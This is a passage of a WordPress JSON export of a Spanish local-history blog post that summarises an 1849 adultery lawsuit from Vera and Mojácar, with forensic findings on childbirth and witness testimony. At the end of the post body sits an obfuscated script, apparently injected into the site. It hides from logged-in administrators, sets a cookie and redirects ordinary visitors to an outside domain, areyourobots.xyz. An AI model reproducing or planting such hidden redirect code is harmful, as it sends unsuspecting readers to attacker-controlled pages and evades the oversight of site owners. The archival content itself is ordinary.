produce en el \u00f3rgano del olfato, no puede confundirse con el de otro humor. Que el orificio del \u00fatero a\u00fan se encuentra entre abierto, permitiendo el paso a la cavidad de la entra\u00f1a por su corta dilataci\u00f3n a la punta del \u00edndice, empleado en la exploraci\u00f3n, siendo el labio posterior de aqu\u00e9l m\u00e1s saliente que el anterior, y situado m\u00e1s adelante. Que el volumen del cuerpo y cuello de la matriz es mayor que lo que com\u00fanmente se halla en su estado normal, y tales como suelen estar en la puerperal recientes. Que la piel del vientre est\u00e1 fl\u00e1cida, sembrada de arrugas lineales en distintas direcciones, recientes unas y antiguas otras, not\u00e1ndose una caso imperceptible raya negruzca, que partiendo de la s\u00ednfisis de los pubis, sigue la direcci\u00f3n de la l\u00ednea alba, terminando en la cicatriz umbilical. Que ambos pechos est\u00e1n m\u00e1s voluminosos que de ordinario, con m\u00e1s color en la aureola y ectalando ha dando a la presi\u00f3n por los conductos galact\u00f3foros cierta cantidad de leche a prop\u00f3sito para criar, y que la abundancia ser\u00eda, seguramente mayor si la alimentaci\u00f3n de la Antonia Caparr\u00f3s fuera m\u00e1s abundante y nutritiva. Que el ni\u00f1o a quien daba el pecho, al hacer el reconocimiento, es de todo tiempo y goza de todas las condiciones de viabilidad necesarias, pues la uni\u00f3n de las suturas, la perfecci\u00f3n de sus miembros, la solidez de sus \u00f3rganos, la facilidad en ejercer las funciones de su edad [&#8230;]pias de su vida entrante rinde natural color, y la debida proporci\u00f3n en su volumen, peso y dimensiones, confirman su estado f\u00edsico l\u00f3gico, debiendo advertir que sin perjuicios de haber nacido con todas estas probabilidades de robusta vida, son pocos d\u00edas los que hace debe haber salido del claustro materno. Y en fin, que teniendo en cuenta todo el valor de los signos que dejan manifestados, creen poder afirmar. Primero: que la Antonia Caparr\u00f3s ha parido recientemente. Segundo: que su parto ha sido de todo tiempo y natural. Tercero: que debe haberse verificado de nueve a doce d\u00edas hace. Cuarto: que aliment\u00e1ndose medianamente, puede criar el producto de su concepci\u00f3n, teniendo como tiene, suficiente leche para lactarlo. Y quinto: que el ni\u00f1o reconocido debe ser el suyo, puesto que por aspecto, peso y dimensiones no puede tener de vida extra interina m\u00e1s que los d\u00edas que han asignado al parto de la Antonia Caparr\u00f3s. Y que cuando dejan manifestado es la verdad a su leal saber y entender y a cargo del juramento prestado en que se afirman y ratifican ser de edad mayores de veinte y cinco a\u00f1os, y firman con su signatura.<\/p>\n<p>Certificado de nacimiento y matrimonio del cura de Moj\u00e1car (Iglesia parroquial de la Concepci\u00f3n). Pedro Garc\u00eda Gallardo se cas\u00f3 con 21 a\u00f1os, de ejercicio jornalero, con Antonia, hija de Diego y Juana.<\/p>\n<p><b>4.\u00ba testigo<\/b>. Mat\u00edas Cervantes. Le consta que de dos a tres a\u00f1os se separ\u00f3 Pedro Garc\u00eda de su mujer. Que Pedro Garc\u00eda es pobre jornalero sin otro recurso que su personal trabajo y sobre pobre, corto de vista.<\/p>\n<p><b>5.\u00ba Otro testigo<\/b>. Jos\u00e9 Garc\u00eda Gallardo. En junio Antonia se fue a trabajar a la casa de un hombre casado y sin mujer. Corto de vista y medio <b>inh\u00e1bil<\/b> para echar un jornal.<\/p>\n<p><b>6.\u00ba Testigo<\/b>. Juan Garc\u00eda Morales. Pedro Gallardo no tiene bienes algunos. Que vive de su personal trabajo. Corto de vista.<\/p>\n<p>El procurador don Francisco Garc\u00eda Carmona solicita la prisi\u00f3n de los denunciados y el embargo de sus bienes. [*la casualidad hace que el procurador de Vera, Francisco Carmona, tenga el d\u00eda 04-04-1859 un ni\u00f1o llamado Pedro Mar\u00eda Isidoro Garc\u00eda Caparr\u00f3s, con su mujer Francisca Caparr\u00f3s Sim\u00f3n. Curiosamente, el ni\u00f1o de Pedro Garc\u00eda y Antonia Caparr\u00f3s se habr\u00eda llamado de la misma manera, de haber llevado el nombre del padre leg\u00edtimo. Pedro ser\u00e1 escribiente. Luego tuvieron m\u00e1s hijos leg\u00edtimos].<\/p>\n<p>Fol. 27 v\u00ba. Auto del juez: A lo principal no ha lugar por ahora y en tanto que esta parte no mejore la justificaci\u00f3n de los hechos querellados. Al primer otrosi, a su tiempo. Y al \u00faltimo, el Se\u00f1or Garc\u00eda presente la copia de poder prove\u00eddo por el se\u00f1or Juez en Vera a 14 de mayo de 1849.<\/p>\n<p><b>El procurador s\u00ed cree que hay razones suficientes para encarcelar<\/b> y embargar a los acusados. Insiste en que los acusados han hecho vida marital de manera escandalosa y se han dejado ver en el estado en que se encontraba Antonia y sin permanecer con su marido.<\/p>\n<p>A\u00f1ade que, para m\u00e1s argumentaci\u00f3n, Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n y Antonia Flores intentaron sin \u00e9xito bautizar en Vera al ni\u00f1o nacido, neg\u00e1ndose los curas por no haber presentado los permisos correspondientes al cura de Moj\u00e1car (1 junio 1849).<\/p>\n<p><b>7.\u00ba Testigo<\/b> Antonia Alonso Cueto. Vecina de Moj\u00e1car. Dice que Antonia se ausent\u00f3 de Moj\u00e1car a primeros de junio de 1848 y que convivi\u00f3 con Jos\u00e9 Antonio bajo un mismo techo como marido y mujer. Que vio a Antonia los \u00faltimos meses de su pre\u00f1ado y le llam\u00f3 la atenci\u00f3n m\u00e1s bien con ademanes que con palabras, a lo elevado de su vientre, a lo que s\u00f3lo contest\u00f3 la Antonia: \u201c<b>Como ha de ser<\/b>\u201d.<\/p>\n<p><b>8.\u00ba Testigo<\/b>. Ana Molina Artero. Vecina de la ciudad de Moj\u00e1car. Hablando de su pre\u00f1ado, le manifest\u00f3 que <b>si era var\u00f3n se le pondr\u00eda el nombre de Jos\u00e9 Antonio<\/b> y si hembra, Antonia Caparr\u00f3s. Que es cuanto sabe y puede decir en verdad a cargo de su juramento en que se ratifica ser de edad de 34 a\u00f1os.<\/p>\n<p><b>9.\u00ba Testigo<\/b>. Antonia L\u00f3pez Belmonte. Vecina de Moj\u00e1car.<\/p>\n<p><b>10.\u00ba Alfonsa Mart\u00ednez<\/b>, vecina de Moj\u00e1car. Dijo que estuvo en la casa de Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n y vio en ella parida el d\u00eda anterior a Antonia Caparr\u00f3s Flores, pero que no le pregunt\u00f3 nada.<\/p>\n<p>Deposici\u00f3n del <b>se\u00f1or cura<\/b>. El Reverendo cura vicario y juez eclesi\u00e1stico de este partido, don <b>Alfonso Caparr\u00f3s y Segura<\/b> compareci\u00f3:<\/p>\n<p>Dijo que era absolutamente falso cuanto se dice respectivo a su persona, no habiendo visto al Jos\u00e9 Antonio Garc\u00eda ni en su casa ni fuera de ella, m\u00e1s que en la noche que regres\u00f3 de Almer\u00eda, y sabiendo que una mujer casada hab\u00eda dado a luz un ni\u00f1o en casa del referido, pas\u00f3 a informarse del hecho y encontrada lactando al referido le hizo varias preguntas sobre su autor y contestadas ser de su marido, con quien despu\u00e9s de su separaci\u00f3n hab\u00eda tenido diferentes reuniones y pod\u00eda justific\u00e1rselo, procedi\u00f3 a su bautismo, y le mand\u00f3 saliese inmediatamente de su casa para evitar cualquier disgusto, lo que efectu\u00f3 inmediatamente. Si por el contrario el expresado Jos\u00e9 Antonio Garc\u00eda se le hubiera presentado con tan punible y damable pretensi\u00f3n, el mismo declarante por la investidura con que se halla revestido se hubiera delatado al tribunal para su pronto y condigno castigo. Es cuanto puede decir y declarar&#8230;<\/p>\n<p><b>11.\u00ba Testigo<\/b>. Don Vicente Ruiz, presb\u00edtero. Dice que jam\u00e1s ha sido buscado para inscribir como padre a otro que no fuera el padre del ni\u00f1o en el libro de bautizo.<\/p>\n<p><b>12.\u00ba Presb\u00edtero beneficiado<\/b>. Don Antonio Caparr\u00f3s Cazorla.<\/p>\n<p><b>13.\u00ba Jos\u00e9 Torres Cano<\/b>. Presb\u00edtero. Es falso lo dicho por el denunciante sobre el registro de bautizos.<\/p>\n<p align=\"right\">07-09-15<\/p>\n<p align=\"right\">Manuel Caparr\u00f3s Perales<\/p>\n<p align=\"right\">Archivero<\/p>\n<p>&nbsp;<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1849, mayo, 3. Vera Criminal a instancia de Pedro Garc\u00eda Gallardo, vecino de Moj\u00e1car, contra Antonia Caparr\u00f3s Flores, su mujer, y Jos\u00e9 Antonio Garc\u00eda Gait\u00e1n, vecinos de Vera, sobre adulterio. 37 fols.<\/p>\n","protected":false},"author":7,"featured_media":1418,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,109],"tags":[102,103,77,101,268],"class_list":["post-1417","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archivo","category-historia","tag-adulterio","tag-expedientes-judiciales","tag-manuel-caparros-perales","tag-mujer","tag-s-xix"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/1417","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=1417"}],"version-history":[{"count":8,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/1417\/revisions"}],"predecessor-version":[{"id":1553,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/1417\/revisions\/1553"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/1418"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=1417"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=1417"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=1417"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}